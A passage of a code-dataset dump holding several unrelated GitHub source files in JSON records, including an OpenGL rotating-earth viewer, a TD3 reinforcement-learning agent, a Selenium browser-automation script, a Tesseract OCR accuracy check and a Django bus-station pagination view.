\"\"\"\n\n def __init__(self, window_width=800, window_height=600, texture_path=\"../img/earth_texture.jpg\"):\n\n self.window_width = window_width\n self.window_height = window_height\n self.texture_path = texture_path\n\n # start value rotation angle for sphere\n self.rotation_angle_x = 0.0\n self.rotation_angle_y = 0.0\n\n def __load_texture(self):\n \"\"\"Loads the texture of the earth from a file \n\n and converts it to the desired data format for OpenGL\n\n \"\"\"\n texture_id = glGenTextures(1)\n glBindTexture(GL_TEXTURE_2D, texture_id)\n\n # conversion\n image = Image.open(self.texture_path)\n image = image.transpose(Image.FLIP_TOP_BOTTOM)\n image_data = image.convert(\"RGBA\").tobytes()\n\n # applying a texture to an object\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, image.width,\n image.height, 0, GL_RGBA, GL_UNSIGNED_BYTE, image_data)\n\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR)\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR)\n\n glBindTexture(GL_TEXTURE_2D, 0)\n\n return texture_id\n\n def __init(self):\n \"\"\"Initializes OpenGL, turns on lighting, turns on texturing, \n\n loads the ground texture and sets the position of the light source\n\n \"\"\"\n\n # turning on the light source\n glEnable(GL_LIGHTING)\n glEnable(GL_LIGHT0)\n glEnable(GL_DEPTH_TEST)\n\n # configurating light source\n light_position = [1.0, 1.0, 1.0, 0.0]\n glLightfv(GL_LIGHT0, GL_POSITION, light_position)\n\n glEnable(GL_TEXTURE_2D)\n texture_id = self.__load_texture()\n glBindTexture(GL_TEXTURE_2D, texture_id)\n\n def __close(self, key):\n \"\"\"Close app after press Escape\n \"\"\"\n\n if key == b'\\x1b':\n sys.exit(0)\n\n def __draw_sphere(self):\n \"\"\"Draws a sphere using OpenGL.\n\n Uses triangulation to create the surface of a sphere.\n\n \"\"\"\n\n radius = 0.5\n num_slices = 50\n num_stacks = 50\n\n # the latitude values (lat 0 and lat 1) for the current stack are calculated.\n for i in range(num_stacks):\n lat0 = math.pi * (-0.5 + float(i) / num_stacks)\n lat1 = math.pi * (-0.5 + float(i + 1) / num_stacks)\n sin_lat0 = math.sin(lat0)\n cos_lat0 = math.cos(lat0)\n sin_lat1 = math.sin(lat1)\n cos_lat1 = math.cos(lat1)\n\n glBegin(GL_TRIANGLE_STRIP)\n for j in range(num_slices + 1):\n lng = 2.0 * math.pi * float(j) / num_slices\n sin_lng = math.sin(lng)\n cos_lng = math.cos(lng)\n\n x0 = cos_lng * cos_lat0\n y0 = sin_lng * cos_lat0\n z0 = sin_lat0\n\n x1 = cos_lng * cos_lat1\n y1 = sin_lng * cos_lat1\n z1 = sin_lat1\n\n glNormal3f(x0, y0, z0)\n glTexCoord2f(float(j) / num_slices, float(i) / num_stacks)\n glVertex3f(radius * x0, radius * y0, radius * z0)\n\n glNormal3f(x1, y1, z1)\n glTexCoord2f(float(j) / num_slices, float(i + 1) / num_stacks)\n glVertex3f(radius * x1, radius * y1, radius * z1)\n glEnd()\n\n def __display(self):\n \"\"\"Clears buffers, sets projection and modeling matrices, rotates the sphere\n\n and calls the __draw_sphere method to draw the sphere.\n\n \"\"\"\n\n # clearing buffers and adapting to window sizes\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n aspect_ratio = float(self.window_width) / float(self.window_height)\n gluPerspective(45.0, aspect_ratio, 0.1, 100.0)\n\n # setting the camera position\n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity()\n gluLookAt(0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0)\n\n glRotatef(self.rotation_angle_x, 1.0, 0.0, 0.0)\n glRotatef(self.rotation_angle_y, 0.0, 1.0, 0.0)\n\n self.__draw_sphere()\n\n glutSwapBuffers()\n\n def __reshape(self, width, height):\n \"\"\"It installs a new OpenGL viewport when resizing the window\n \"\"\"\n\n glViewport(0, 0, width, height)\n\n def rotate(self):\n \"\"\"Increase rotation angle sphere\n \"\"\"\n\n self.rotation_angle_x += 0.5\n self.rotation_angle_y += 0.5\n\n def __idle(self):\n \"\"\"Called in standby mode for rerender\n\n sphere after rotate \n\n \"\"\"\n\n self.rotate()\n glutPostRedisplay()\n\n def run(self):\n \"\"\"Initializes GLUT, creates an application window, sets\n\n callback functions (display, reshape, keyboard, idle)\n\n and starts the main GLUT loop for event processing\n\n \"\"\"\n\n glutInit(sys.argv)\n glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH)\n glutInitWindowSize(self.window_width, self.window_height)\n glutCreateWindow(b\"OpenGL Earth\")\n self.__init()\n glutDisplayFunc(self.__display)\n glutReshapeFunc(self.__reshape)\n glutKeyboardFunc(self.__close)\n glutIdleFunc(self.__idle)\n glutMainLoop()\n","repo_name":"GrimAveira/pyopengl-rotating-model-of-the-earth","sub_path":"src/OpenGLEarth.py","file_name":"OpenGLEarth.py","file_ext":"py","file_size_in_byte":5552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35831630114","text":"#!/bin/python3\n# -*- coding: UTF-8 -*-\n\n\"\"\"\n输入一个链表的头节点,从尾到头反过来返回每个节点的值(用数组返回)。\n\"\"\"\n\n\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\ndef reverse_print(head):\n if not head:\n return list()\n\n ret_list = list()\n reverse_get(head, ret_list)\n return ret_list\n\n\ndef reverse_get(head, alist):\n if not head:\n return -1\n\n if head.next:\n reverse_get(head.next, alist)\n alist.append(head.val)\n\n\ndef construct_nodes():\n head_node = ListNode(1)\n\n next_node_1, next_node_2 = head_node, ListNode(2)\n next_node_1.next = next_node_2\n for i in range(3, 6):\n next_node_1 = next_node_2\n next_node_2 = ListNode(i)\n next_node_1.next = next_node_2\n\n return head_node\n\n\nif __name__ == \"__main__\":\n con_node = construct_nodes()\n\n ret_node = reverse_print(con_node)\n print(ret_node)\n","repo_name":"littleshuang/PythonCodes","sub_path":"leetcode/ReversePrint.py","file_name":"ReversePrint.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9416612840","text":"'''\nCreated on Apr 11, 2020\n\n@author1: leyu_lin(Jack)\n@author2: Parth_Thummar\n\nConstraint propagation\n'''\n\n\ndef AC3(csp, queue=None, removals=None):\n \"\"\"AC3 constraint propagation\n\n \"\"\"\n # Hints:\n # Remember that:\n # csp.variables is a list of variables\n # csp.neighbors[x] is the neighbors of variable x\n\n if queue is None:\n queue = [(a, b) for a in csp.curr_domains for b in csp.neighbors[a]]\n\n # call support pruning before pure\n csp.support_pruning()\n\n def arcs_build(a):\n for x in csp.neighbors[a]:\n if (x, a) not in queue:\n queue.append((x, a))\n\n # go over queue get consistent arcs\n while queue:\n a, b = queue.pop()\n if consistent_arcs(csp, a, b, removals):\n if csp.curr_domains[a] is 0:\n return False\n arcs_build(a)\n return True\n\n\n# check consistency consistent arcs\n# go over each values in domain if been modified\n# prune values if is not satisfy constraints in domains\ndef consistent_arcs(csp, a, b, removals):\n consistency = False\n # check values in a that satisfy in b if not prune it\n for val in csp.curr_domains[a]:\n if all([not csp.constraints(a, val, b, x) for x in\n csp.curr_domains[b]]):\n csp.prune(a, val, removals)\n consistency = True\n return consistency\n","repo_name":"leyulin/CS550","sub_path":"A4/constraint_prop.py","file_name":"constraint_prop.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71123869955","text":"import numpy as np\nfrom dama.data.it import Iterator\n\n\ndef sampling_size(sampling, stream):\n if isinstance(sampling, Iterator):\n counter = stream.unique()\n else:\n u_values, counter = np.unique(stream, return_counts=True)\n counter = dict(zip(u_values, counter))\n\n if len(counter) == 0:\n return {}\n\n sampling_n = {}\n for y, k in sampling.items():\n unique_v = counter.get(y, 0)\n if 0 <= k <= 1:\n v = unique_v * k\n elif 1 < k < unique_v:\n v = k % unique_v\n else:\n v = unique_v % k\n sampling_n[y] = int(round(v, 0))\n\n return sampling_n\n","repo_name":"elaeon/dama_ml","sub_path":"src/dama/random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"20318903136","text":"from django import forms\nfrom django.forms import fields, widgets\nfrom apps.componentes.models import Componentes\nfrom apps.tipo_elec.models import Tipos_elec\n\nclass TeForm(forms.ModelForm):\n class Meta:\n model = Tipos_elec\n\n fields = [\n 'nombre',\n 'caracteristicas',\n 'aparatos',\n ]\n\n labels = {\n 'nombre': 'Nombre',\n 'caracteristicas': 'Caracteristicas',\n 'aparatos': 'Aparatos',\n }\n\n widgets = {\n 'nombre': forms.TextInput(attrs={'class': 'form-control'}),\n 'caracteristicas': forms.TextInput(attrs={'class': 'form-control'}),\n 'aparatos': forms.Select(attrs={'class': 'form-control'}),\n }","repo_name":"Adrian-Bravo/BaseTaller","sub_path":"apps/tipo_elec/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75195397314","text":"import cv2\nimport numpy as np\n\n\ndef unsharp_mask(image, kernel_size=(5, 5), sigma=1.0, amount=1.0, threshold=0):\n blurred = cv2.GaussianBlur(image,(5,5),0)\n sharpened = float(amount + 1) * image - float(amount) * blurred\n sharpened = np.maximum(sharpened, np.zeros(sharpened.shape))\n sharpened = np.minimum(sharpened, 255 * np.ones(sharpened.shape))\n sharpened = sharpened.round().astype(np.uint8)\n if threshold > 0:\n low_contrast_mask = np.absolute(image - blurred) < threshold\n np.copyto(sharpened, image, where=low_contrast_mask)\n return sharpened\n\nimg = cv2.imread('savetest.jpg')\nimg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\ndilated_img = unsharp_mask(img)\nbg_img = cv2.medianBlur(dilated_img,21)\ndiff_img = 255 - cv2.absdiff(img, bg_img)\nnorm_img = diff_img.copy() \ncv2.normalize(diff_img, norm_img, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX, dtype=cv2.CV_8UC1)\n_, thr_img = cv2.threshold(norm_img, 230, 0, cv2.THRESH_TRUNC)\nimg = cv2.normalize(thr_img, thr_img, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX, dtype=cv2.CV_8UC1)\ncv2.imshow(\"s\", bg_img)\ncv2.imshow(\"ss\", img)\ncv2.waitKey(0)","repo_name":"hoangliem98/SomeOpenCV","sub_path":"Sharpen2.py","file_name":"Sharpen2.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40648107325","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTesseract OCR fraktur test\n\n@author: Mario Garcia\nwww.mariogc.com\n\"\"\"\n\nimport sys\nimport pytesseract\n\nfileName = \"page001.png\"\noutput = \"page001\"\n\ntruth_file = \"truth_page001.txt\"\nwith open(truth_file, \"r\", encoding=\"utf-8\") as f:\n truth_lines = f.readlines()\n\ntext = pytesseract.image_to_string(fileName, lang=\"deu_frak\")\nocr_lines = text.split('\\n')\n\nnum_words = 0\nnum_wrong_words = 0\nif len(truth_lines) == len(ocr_lines):\n for idx, (tline, oline) in enumerate(zip(truth_lines, ocr_lines)):\n twords = tline.split()\n owords = oline.split()\n wrong_words = [i for i, j in zip(owords, twords) if i != j]\n num_words += len(twords)\n num_wrong_words += len(wrong_words)\nprint(\"Accuracy: {:.4f} %\".format(100.0*(1.0-(num_wrong_words/num_words))))\n","repo_name":"Mayitzin/Taan","sub_path":"img2txt.py","file_name":"img2txt.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71490389953","text":"'''\n存在于文件中的大量用户参与抽奖进行程序修改\n\n'''\n# 从用户数据文件中抽取幸运用户\n\nimport random,time\nimport xlrd\n'''\nprize_item:奖项设置\nuser_data_file:参与抽奖用户数据文件名\nlucky_dog:临时用于存储中奖用户的列表\n'''\ndef lucky_draw(prize_item,user_data_file,lucky_dog):\n\tworkbook=xlrd.open_workbook(user_data_file)\n\t# 默认为第一个工作页\n\tsheet=workbook.sheet_by_index(0)\n\tfor pv in prize_item:\n\t\tcount=0\n\t\twhile count 0:\r\n tmpAtoB -= 1\r\n else:\r\n AtoB +=1\r\n else:\r\n if tmpBtoA > 0:\r\n tmpBtoA -=1\r\n else:\r\n BtoA += 1\r\n \r\n output.write(\"Case #%d: %d %d\\n\" %(case+1, AtoB, BtoA))\r\n ","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_2/209.py","file_name":"209.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70111010754","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nAuthor: Carlos Montenegro, Control Research Group, Universidad de los Andes\r\n (GitHub: camontblanc)\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport random\r\nimport copy\r\nfrom collections import namedtuple, deque\r\n\r\nfrom core import Actor, Critic\r\n\r\nimport tensorflow as tf\r\nimport tensorflow.keras.optimizers as ko\r\nimport tensorflow_addons as tfa\r\n\r\nclass TD3():\r\n \"\"\"Interacts with and learns from the environment.\"\"\"\r\n \r\n def __init__(self,\r\n state_dim,\r\n action_dim,\r\n max_action,\r\n name=\"TD3\",\r\n actor_update_freq=2,\r\n policy_noise=0.2,\r\n noise_clip=0.5,\r\n actor_units=[400, 300],\r\n critic_units=[400, 300],\r\n lr_critic=0.001,\r\n lr_actor=1e-4,\r\n tau=1e-3,\r\n gamma=0.99,\r\n wd=0.0001,\r\n **kwargs):\r\n \r\n # Actor Network (w/ Target Network)\r\n self.pi = Actor(state_dim, action_dim, max_action, actor_units)\r\n self.pi_targ = Actor(state_dim, action_dim, max_action, actor_units)\r\n self.pi_optim = ko.Adam(learning_rate=lr_actor)\r\n \r\n # Critic Networks (w/ Target Network)\r\n self.critic = Critic(state_dim, action_dim, critic_units)\r\n self.critic_target = Critic(state_dim, action_dim, critic_units)\r\n self.soft_update(\r\n self.critic_target.weights, self.critic.weights, tau=1.)\r\n self.critic_optimizer = tfa.optimizers.AdamW(learning_rate=lr_critic, weight_decay=wd)\r\n \r\n self._policy_noise = policy_noise\r\n self._noise_clip = noise_clip\r\n \r\n self._actor_update_freq = actor_update_freq\r\n self._it = 0\r\n \r\n self.tau = tau\r\n self.gamma = gamma\r\n \r\n gpu = tf.config.experimental.list_logical_devices('GPU')\r\n self.device = '/CPU:0' if len(gpu)==0 else gpu[0].name\r\n \r\n \r\n #@tf.function\r\n def train_body(self, states, actions, next_states, rewards, done):\r\n with tf.device(self.device):\r\n with tf.GradientTape() as tape:\r\n td_error1, td_error2 = self._compute_td_error_body(\r\n states, actions, next_states, rewards, done)\r\n critic_loss = tf.reduce_mean(td_error1**2) + tf.reduce_mean(td_error2**2)\r\n \r\n critic_grad = tape.gradient(\r\n critic_loss, self.critic.trainable_variables)\r\n self.critic_optimizer.apply_gradients(\r\n zip(critic_grad, self.critic.trainable_variables))\r\n \r\n self._it += 1\r\n with tf.GradientTape() as tape:\r\n next_actions = self.pi(states)\r\n actor_loss = - \\\r\n tf.reduce_mean(self.critic(states, next_actions))\r\n \r\n if self._it % self._actor_update_freq == 0:\r\n actor_grad = tape.gradient(\r\n actor_loss, self.pi.trainable_variables)\r\n self.pi_optim.apply_gradients(\r\n zip(actor_grad, self.pi.trainable_variables))\r\n \r\n # Update target networks\r\n self.soft_update(\r\n self.critic_target.weights, self.critic.weights, self.tau)\r\n self.soft_update(\r\n self.pi_targ.weights, self.pi.weights, self.tau)\r\n \r\n def compute_td_error(self, states, actions, next_states, rewards, dones):\r\n td_errors1, td_errors2 = self._compute_td_error_body(states, actions, next_states, rewards, dones)\r\n return np.squeeze(np.abs(td_errors1.numpy()) + np.abs(td_errors2.numpy()))\r\n \r\n @tf.function\r\n def _compute_td_error_body(self, states, actions, next_states, rewards, dones):\r\n with tf.device(self.device):\r\n not_dones = 1. - dones\r\n \r\n # Get noisy action\r\n next_action = self.pi_targ(next_states)\r\n noise = tf.cast(tf.clip_by_value(\r\n tf.random.normal(shape=tf.shape(next_action),\r\n stddev=self._policy_noise),\r\n -self._noise_clip, self._noise_clip), tf.float64)\r\n next_action = tf.clip_by_value(\r\n next_action + noise, -self.pi_targ.max_action, self.pi_targ.max_action)\r\n \r\n target_Q1, target_Q2 = self.critic_target(next_states, next_action)\r\n target_Q = tf.minimum(target_Q1, target_Q2)\r\n target_Q = rewards + (not_dones * self.gamma * target_Q)\r\n target_Q = tf.stop_gradient(target_Q)\r\n current_Q1, current_Q2 = self.critic(states, actions)\r\n \r\n return target_Q - current_Q1, target_Q - current_Q2\r\n \r\n \r\n def act(self, state, add_noise=False):\r\n state = tf.cast( tf.reshape(state, [1, -1]), dtype=tf.float64 ) \r\n action = self.pi(state)\r\n if add_noise:\r\n noise = tf.cast(tf.clip_by_value(\r\n tf.random.normal(shape=tf.shape(next_action),\r\n stddev=self._policy_noise),\r\n -self._noise_clip, self._noise_clip), tf.float32)\r\n \r\n action = tf.clip_by_value(\r\n action + noise, -self.pi_targ.max_action, self.pi_targ.max_action).numpy()\r\n return action.numpy()\r\n\r\n \r\n def soft_update(self, \r\n target_variables, \r\n source_variables, \r\n tau=1.0, \r\n use_locking=False,\r\n name=\"soft_update\"):\r\n \"\"\"\r\n Returns an op to update a list of target variables from source variables.\r\n \r\n The update rule is:\r\n `target_variable = (1 - tau) * target_variable + tau * source_variable`.\r\n \r\n :param target_variables: a list of the variables to be updated.\r\n :param source_variables: a list of the variables used for the update.\r\n :param tau: weight used to gate the update. The permitted range is 0 < tau <= 1,\r\n with small tau representing an incremental update, and tau == 1\r\n representing a full update (that is, a straight copy).\r\n :param use_locking: use `tf.Variable.assign`'s locking option when assigning\r\n source variable values to target variables.\r\n :param name: sets the `name_scope` for this op.\r\n \r\n :raise TypeError: when tau is not a Python float\r\n :raise ValueError: when tau is out of range, or the source and target variables\r\n have different numbers or shapes.\r\n \r\n :return: An op that executes all the variable updates.\r\n \"\"\"\r\n if not isinstance(tau, float):\r\n raise TypeError(\"Tau has wrong type (should be float) {}\".format(tau))\r\n if not 0.0 < tau <= 1.0:\r\n raise ValueError(\"Invalid parameter tau {}\".format(tau))\r\n if len(target_variables) != len(source_variables):\r\n raise ValueError(\"Number of target variables {} is not the same as \"\r\n \"number of source variables {}\".format(\r\n len(target_variables), len(source_variables)))\r\n \r\n same_shape = all(trg.get_shape() == src.get_shape() \r\n for trg, src in zip(target_variables, source_variables))\r\n if not same_shape:\r\n raise ValueError(\"Target variables don't have the same shape as source \"\r\n \"variables.\")\r\n \r\n def update_op(target_variable, source_variable, tau):\r\n if tau == 1.0:\r\n return target_variable.assign(source_variable, use_locking)\r\n else:\r\n return target_variable.assign(\r\n tau * source_variable + (1.0 - tau) * target_variable, use_locking)\r\n \r\n # with tf.name_scope(name, values=target_variables + source_variables):\r\n update_ops = [update_op(target_var, source_var, tau) \r\n for target_var, source_var \r\n in zip(target_variables, source_variables)]\r\n return tf.group(name=\"update_all_variables\", *update_ops)","repo_name":"camontblanc/ProblemaEspecial","sub_path":"Cartpole: two_poles/TensorFlow/classis algos/td3/td3.py","file_name":"td3.py","file_ext":"py","file_size_in_byte":8251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1564685822","text":"__author__ = 'jwely'\n\n\nfrom dnppy import download\nfrom datetime import datetime\n\nimport os\n\ndef fetch_test_precip(test_dir):\n \"\"\"\n fetches both TRMM and GPM test data\n \"\"\"\n\n if not os.path.exists(test_dir):\n os.makedirs(os.path.join(test_dir, \"raw\"))\n\n\n print(\"Downloading GPM IMERG test data!\")\n gpmdir = os.path.join(test_dir,\"raw\",\"GPM\")\n download.fetch_GPM_IMERG(datetime(2015,4,1),\n datetime(2015,4,2),\n outdir = gpmdir,\n product = \"late\")\n\n print(\"Downloading TRMM 3b42 test data!\")\n trmmdir = os.path.join(test_dir,\"raw\",\"TRMM\")\n download.fetch_TRMM(datetime(2014,1,1),\n datetime(2014,1,2),\n outdir = trmmdir,\n product_string = \"3B42\")\n\n\nif __name__ == \"__main__\":\n fetch_test_precip(r\"C:\\Users\\jwely\\Desktop\\dnppytest\")\n","repo_name":"NASA-DEVELOP/dnppy","sub_path":"dev/test/fetch_test_precip.py","file_name":"fetch_test_precip.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"61"} +{"seq_id":"74361720835","text":"import random\n\nrandom.seed('parkinglot')\n\ndef rand(a,b):\n return random.randint(a,b)\n\ndef print_case(g):\n res = '%d %d\\n' % (len(g), len(g[0]))\n res += ''.join([''.join(row) + '\\n' for row in g])\n return res\n \ndef rand_graph(r, c, prob):\n g = [['.'] * c for _ in range(r)]\n for i in range(r):\n for j in range(c):\n if random.random() < prob:\n g[i][j] = '#'\n return g\n\ndef random_case(args):\n r, c = int(args['r']), int(args['c'])\n prob = float(args['prob'])\n return print_case(rand_graph(r, c, prob))\n\ndef path_to(g, i, j, x, y):\n if i == x or j == y:\n return\n a = y - j\n b = i - x\n c = x * j - i * y\n \n vj = j\n for ii in range(i, x):\n jj = (-c - a * (ii + 1)) // b;\n vje = jj if (-c - a * (ii + 1)) % b != 0 else jj - 1\n for v in range(vj, vje + 1):\n g[ii][v] = '.'\n vj = jj\n \ndef random_path(args):\n r, c = int(args['r']), int(args['c'])\n knot = int(args['knot'])\n i, j = 0, 0\n g = [['#' for _ in range(c)] for _ in range(r)]\n max_d = max(r, c) // knot\n cur_knot = 0\n while cur_knot < knot:\n di = rand(1, r - i - (knot - cur_knot))\n di = min(di, max_d)\n dj = rand(1, c - j - (knot - cur_knot))\n dj = min(dj, max_d)\n path_to(g, i, j, i + di, j + dj)\n i, j = i + di, j + dj\n cur_knot += 1\n path_to(g, i, j, r, c)\n return print_case(g)\n\ndef given_path(args):\n r, c = int(args['r']), int(args['c'])\n pts = [int(v) for v in args['points'].split(';')]\n g = [['#' for _ in range(c)] for _ in range(r)]\n n = len(pts) // 2\n i, j = 0, 0\n for pi in range(n):\n x, y = pts[2 * pi + 0], pts[2 * pi + 1]\n path_to(g, i, j, x, y)\n i, j = x, y\n path_to(g, i, j, r, c)\n return print_case(g)","repo_name":"Bennett-Wendorf/NCNA2021_Code","sub_path":"NCNA_2021/parkinglot/gen/funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73205370753","text":"question_data = [\n {\n \"category\": \"History\",\n \"type\": \"boolean\",\n \"difficulty\": \"medium\",\n \"question\": \"In World War II, Hawker Typhoons served in the Pacific theater.\",\n \"correct_answer\": \"False\",\n \"incorrect_answers\": [\n \"True\"\n ]\n },\n {\n \"category\": \"Geography\",\n \"type\": \"boolean\",\n \"difficulty\": \"medium\",\n \"question\": \"The longest place named in the United States is Lake Chargoggagoggmanchauggagoggchaubunagungamaugg, located near Webster, MA.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\n \"False\"\n ]\n },\n {\n \"category\": \"Entertainment: Japanese Anime & Manga\",\n \"type\": \"boolean\",\n \"difficulty\": \"easy\",\n \"question\": \"The anime \\\"Lucky Star\\\" follows the story of one girl who is unaware she is God.\",\n \"correct_answer\": \"False\",\n \"incorrect_answers\": [\n \"True\"\n ]\n },\n {\n \"category\": \"Entertainment: Video Games\",\n \"type\": \"boolean\",\n \"difficulty\": \"easy\",\n \"question\": \"Solid Snake is actually a clone from the DNA of Big Boss in the Metal Gear Solid series' history.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\n \"False\"\n ]\n },\n {\n \"category\": \"Mythology\",\n \"type\": \"boolean\",\n \"difficulty\": \"hard\",\n \"question\": \"Rannamaari was a sea demon that haunted the people of the Maldives and had to be appeased monthly with the sacrifice of a virgin girl.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\n \"False\"\n ]\n },\n {\n \"category\": \"Entertainment: Comics\",\n \"type\": \"boolean\",\n \"difficulty\": \"medium\",\n \"question\": \"In the webcomic Homestuck, the first character introduced is Dave Strider.\",\n \"correct_answer\": \"False\",\n \"incorrect_answers\": [\n \"True\"\n ]\n },\n {\n \"category\": \"Vehicles\",\n \"type\": \"boolean\",\n \"difficulty\": \"medium\",\n \"question\": \"Ferrari has never made a V10 engine for any of its cars.\",\n \"correct_answer\": \"False\",\n \"incorrect_answers\": [\n \"True\"\n ]\n },\n {\n \"category\": \"Entertainment: Video Games\",\n \"type\": \"boolean\",\n \"difficulty\": \"medium\",\n \"question\": \"Mortal Kombat was almost based on Jean-Claude Van Damme movie.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\n \"False\"\n ]\n },\n {\n \"category\": \"Science: Mathematics\",\n \"type\": \"boolean\",\n \"difficulty\": \"hard\",\n \"question\": \"L'H\\u00f4pital was the mathematician who created the homonymous rule that uses derivatives to evaluate limits with indeterminations.\",\n \"correct_answer\": \"False\",\n \"incorrect_answers\": [\n \"True\"\n ]\n },\n {\n \"category\": \"Art\",\n \"type\": \"boolean\",\n \"difficulty\": \"hard\",\n \"question\": \"The Statue of Liberty's official name is \\u201cLiberty Enlightening the World\\u201d.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\n \"False\"\n ]\n }\n]","repo_name":"KuoPingL/100DaysOfPython","sub_path":"day_34_api_quizzer/quizzler-app-start/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5411366924","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.action_chains import ActionChains\n\nPATH = 'C:\\Program Files (x86)\\chromedriver.exe'\n\ndriver = webdriver.Chrome(PATH)\n\ndriver.get('https://www.airbnb.com/')\n\ntry:\n # -- clicking in France, Paris !! 🇫🇷\n \n paris = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.XPATH,\"//div[@class='_1byskwn']//div[contains(text(),'Paris')]//parent::div[@class='_1hsn6c7']//parent::a[@class]\"))\n )\n paris.click()\n\n # -- now click Dijon and go to next page: Dijon\n \n dijon = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.XPATH, \"//a[@aria-label='Dijon 262 km']\"))\n ) \n # search for the text in the page. wait 10 sec until find that\n # it has to be clickable text/button. usually 'a' tag has this.\n # now find the text again and go to next page\n dijon.click()\n time.sleep(2)\n \n # -- click login button\n \n login = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.XPATH, \"//form[@class='_t26s9ye' and @action='/login']//input[@class='_1r6oup6']\"))\n ) \n login.click()\n \n # -- now fill up and enter phone number\n \n phone = driver.find_element_by_xpath(\"//input[@id='phoneNumber']\") # find HTML tag input and attribute name = s\n phone.clear() # clear the input box first\n phone.send_keys(\"12345\") # fill the search box 'test'\n # phone.send_keys(Keys.RETURN) # hit enter\n \n button = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.XPATH, \"//button[@class='_utuv3hg']\"))\n ) \n time.sleep(2) # just to check what is going on the web page \n button.click()\n time.sleep(2)\n \n# select = WebDriverWait(driver, 10).until(\n# EC.presence_of_element_located((By.XPATH, \"//parent::select[@id='children']//option[@value='5']\"))\n# ) \n# select.click()\n \n # -- going back and forward\n \n driver.back() # go back\n time.sleep(3)\n driver.back()\n time.sleep(3)\n driver.forward()\n driver.forward()\n \nexcept: # if the text did not find then, pass it\n pass","repo_name":"moinshawon/test-automation","sub_path":"Selenium_Automation/individual tasks with selenium/going to next page with selenium.py","file_name":"going to next page with selenium.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30063229078","text":"from django.shortcuts import render_to_response, redirect\nfrom django.urls import reverse\nfrom math import ceil\nfrom urllib.parse import urlencode\n\nfrom django.conf import settings\n# для работы с DictReader\nfrom csv import DictReader\n\ndef index(request):\n return redirect(reverse(bus_stations))\n\n\ndef bus_stations(request):\n\n # загружаем данные из файла\n data_file_name = settings.BUS_STATION_CSV\n all_rows = []\n part_of_data = []\n\n # файл в кодировке cp1251!\n with open(data_file_name,encoding='cp1251',newline='') as csvfile:\n bs_data = DictReader(csvfile)\n\n # сколько всего строк? Так нельзя: потом невозможно будет в in прочитать!\n #number_of_rows=len(list(bs_data))-1\n all_rows = list(bs_data)\n number_of_rows = len(all_rows) - 1\n # кол-во одновременно выводимых строк на странице\n rows_in_page = settings.ROWS_IN_INDEXPAGE\n # всего страниц с округлением в большую сторону\n total_pages = ceil(float(number_of_rows/rows_in_page))\n\n\n # номер текущей страницы из параметров запроса\n current_page = int(request.GET.get('page', 1))\n if (current_page == None) or (current_page < 1):\n current_page=1\n elif current_page > total_pages:\n current_page=total_pages\n\n if current_page ==1:\n current_list = all_rows[1:11]\n else:\n current_list=all_rows[((current_page-1) * rows_in_page -1):(current_page * rows_in_page)]\n\n # 